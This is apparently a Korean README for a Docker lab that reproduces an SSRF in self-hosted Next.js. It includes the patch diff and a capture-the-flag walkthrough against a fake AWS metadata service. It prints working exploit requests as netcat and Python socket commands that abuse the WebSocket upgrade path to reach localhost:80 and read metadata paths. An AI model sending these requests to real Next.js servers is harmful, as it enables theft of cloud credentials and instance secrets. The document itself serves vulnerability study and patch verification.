
이 실험실은 괜찮을 수도 있고 아닐 수도 있지만, 테스트 중이며 작동해야 합니다. AI에게 물어보세요 하하하
Next.js 자체 호스팅(self-hosted) 애플리케이션에서 Node.js 내장 서버를 사용할 때 발생하는 CVE-2026-44578 (CWE-918, SSRF) 취약점을 재현하기 위한 자체 포함 실습 환경입니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| 유형 | SSRF (CWE-918) |
| 영향을 받는 버전 | Next.js 13.4.13 – 15.5.15 및 16.0.0 – 16.2.4 |
| 패치된 버전 | 15.5.16 및 16.2.5 |
| 인증 | 없음 |
| 사용자 상호작용 | 없음 |
공격자 (host: 0.0.0.0)
│ HTTP :3000 (공개)
▼
┌──────────────────────────┐ 동일 네트워크 네임스페이스 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (자격 증명, │
│ (Node.js 내장 서버) │ │ user-data, 인덱스) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (포트 3000): 취약한 애플리케이션으로, 0.0.0.0:3000에 노출됩니다.imds-sidecar: Next.js 컨테이너의 네임스페이스 내부의 localhost:80에 존재하는 AWS 메타데이터 서비스 모의 서버로, 실제 클라우드 인스턴스를 모델링합니다. 호스트에서 직접 접근할 수 없습니다 (게시된 포트 없음). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 자동화된 PoC (5가지 프로브)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + 비밀 경로
└── nextjs-app/ # 실제적인 "Nimbus Analytics" 앱
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # 랜딩 페이지
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (취약 버전)
router-server.ts의 WebSocket 업그레이드 핸들러는 파싱된 URI에 parsedUrl.protocol이 있을 때 proxyRequest()를 호출하지만, 일반 HTTP 핸들러가 항상 설정했던 finished 및 statusCode 플래그를 확인하지 않습니다:
// 취약 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// 패치 (커밋 c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
공격 경로는 이중 슬래시가 있는 절대 URI 요청 라인을 사용합니다:
GET http:///path. normalizeRepeatedSlashes는 http:///을 http:/로 축소하여 호스트 이름이 없어지고, http-proxy는 그런 다음 경로를 그대로 유지한 채 localhost:80에 연결합니다:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket 헤더가 존재하면 요청이 보안 검사가 있는 HTTP 핸들러 대신 취약한 업그레이드 핸들러로 전달됩니다.
docker compose up -d --build
앱이 응답하는지 확인:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
0.0.0.0에서 실행되도록 docker-compose.yml의 포트 매핑은 이미 모든 인터페이스에서 3000:3000을 노출합니다.
nc) 사용printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4단계로 구성된 100% 수동 전체 흐름입니다. 내부 서비스(localhost:80)에 4개의 플래그가 숨겨져 있습니다. 이 가이드는 첫 번째 플래그까지의 흐름을 보여주고 나머지를 찾을 수 있는 경로를 안내합니다.
# 서버 핑거프린트
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# 소켓을 통한 열린 포트 확인 (nmap 없이)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
공격자 측에서는 127.0.0.1:80에 직접 접근할 수 없습니다: 유일한 벡터는 내부 서비스와 동일한 네트워크에 있는 Next.js 서버가 우리를 대신해 요청하도록 하는 것입니다.
먼저 메타데이터 서비스의 인덱스를 요청하여 SSRF를 확인합니다:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
인덱스 응답 → 후보: instance-id, hostname,
iam/security-credentials/, user-data (첫 번째 플래그). latest/meta-data/의 인덱스는 계속 탐색할 가치가 있는 하위 키도 공개합니다.
GET http:///latest/user-data HTTP/1.1
| 부분 | 기능 |
|---|---|
GET | 취약점은 GET만 프록시합니다 |
http:///latest/user-data | 절대 URI. http:///은 http:/로 축소됨 → 호스트 이름 null → 프록시가 경로 /latest/user-data를 유지한 채 localhost:80에 연결 |
Host: 127.0.0.1:3000 | 없으면 서버가 400으로 응답 |
Connection: Upgrade + Upgrade: websocket | 요청을 취약한 업그레이드 핸들러로 전환 (일반 HTTP 핸들러는 검증함) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 정당한 핸드셰이크에 필요한 최소 헤더 |
종료: raw 소켓에서 \r\n\r\n (본문 없음).
# 옵션 A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# 옵션 B: Python raw 소켓 (nc 없이 동일한 정밀도)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
출력 — 첫 번째 플래그는 내부 서비스 응답 본문에 도착합니다:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
플래그 1/4 획득. server: BaseHTTP/0.6 ... (Python mock) 헤더는 요청이 공격자 → Next.js → localhost:80으로 이동했음을 확인합니다. 즉, 플래그가 SSRF를 통해 내부 네트워크에서 유출된 것입니다. 나머지 3개는 메타데이터 서비스와 내부 서비스의 경로에 흩어져 있습니다 — latest/meta-data/의 인덱스가 지도입니다. 나머지를 찾으세요.
Fake IMDS(localhost:80)는 실제 AWS 메타데이터 서비스를 모델링합니다: 탐색 가능한 트리입니다. 각 디렉터리(/로 끝남)는 하위 경로의 인덱스로 응답합니다. / 없이 디렉터리를 요청하면 301 리디렉션이 반환됩니다. 숨겨진 경로는 없습니다: 어떤 플래그도 추측을 요구하지 않습니다 — 모든 것은 인덱스를 탐색하여 발견됩니다.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → 부팅 스크립트 (internal/config를 가리킴)